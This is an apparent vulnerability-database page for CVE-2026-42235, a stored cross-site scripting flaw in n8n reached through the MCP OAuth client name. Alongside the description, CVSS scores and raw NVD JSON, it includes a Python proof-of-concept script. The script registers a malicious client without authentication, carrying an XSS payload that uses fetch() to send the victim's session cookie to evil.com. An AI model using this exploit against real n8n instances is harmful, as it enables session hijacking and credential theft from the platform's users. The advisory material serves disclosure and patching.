Security Vulnerability Report
中文
CVE-2026-42235 CVSS 9.6 CRITICAL

CVE-2026-42235

Published: 2026-05-04 19:16:06
Last Modified: 2026-05-06 18:05:44

Description

n8n is an open source workflow automation platform. Prior to versions 1.123.32, 2.17.4, and 2.18.1, an unauthenticated attacker could register a malicious MCP OAuth client with a crafted client_name. If a victim user authorized the OAuth consent dialog and a second user subsequently revoked that access, a toast notification would render the injected script. Clicking the link would execute arbitrary JavaScript in the victim's authenticated n8n browser session, enabling credential and session token theft, workflow manipulation, or privilege escalation. This issue has been patched in versions 1.123.32, 2.17.4, and 2.18.1.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:n8n:n8n:*:*:*:*:enterprise:node.js:*:* - VULNERABLE
cpe:2.3:a:n8n:n8n:*:*:*:*:enterprise:node.js:*:* - VULNERABLE
cpe:2.3:a:n8n:n8n:2.18.0:*:*:*:enterprise:node.js:*:* - VULNERABLE
n8n < 1.123.32
n8n < 2.17.4
n8n < 2.18.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for registering the MCP OAuth client # The endpoint might vary based on specific n8n configuration target_url = "http://target-n8n-instance.com/rest/mcp-clients" # Malicious payload to be executed in the victim's browser session # This payload attempts to steal the session cookie xss_payload = "<img src=x onerror='fetch(\"https://evil.com/steal?c=\"+document.cookie)'>" # Crafted malicious client name containing the XSS payload malicious_client_name = f"Evil Client {xss_payload}" payload = { "client_name": malicious_client_name, "redirect_uris": ["https://evil.com/callback"], "grant_types": ["authorization_code"] } # Sending registration request (Unauthenticated in vulnerable versions) response = requests.post(target_url, json=payload) if response.status_code == 201: print("Malicious client registered successfully.") print("Wait for victim to authorize and subsequent revocation to trigger XSS.") else: print("Registration failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42235", "sourceIdentifier": "[email protected]", "published": "2026-05-04T19:16:06.173", "lastModified": "2026-05-06T18:05:44.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. Prior to versions 1.123.32, 2.17.4, and 2.18.1, an unauthenticated attacker could register a malicious MCP OAuth client with a crafted client_name. If a victim user authorized the OAuth consent dialog and a second user subsequently revoked that access, a toast notification would render the injected script. Clicking the link would execute arbitrary JavaScript in the victim's authenticated n8n browser session, enabling credential and session token theft, workflow manipulation, or privilege escalation. This issue has been patched in versions 1.123.32, 2.17.4, and 2.18.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-87"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:enterprise:node.js:*:*", "versionEndExcluding": "1.123.32", "matchCriteriaId": "A074B1B0-1C40-4969-A3D2-F4E86B4BAED3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:enterprise:node.js:*:*", "versionStartIncluding": "2.17.0", "versionEndExcluding": "2.17.4", "matchCriteriaId": "F00CA27A-4FD7-45A8-BE8D-DABFAD902806"}, {"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:2.18.0:*:*:*:enterprise:node.js:*:*", "matchCriteriaId": "D4858098-0175-4680-B6C9-C19CEB451DBA"}]}]}], "references": [{"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-537j-gqpc-p7fq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}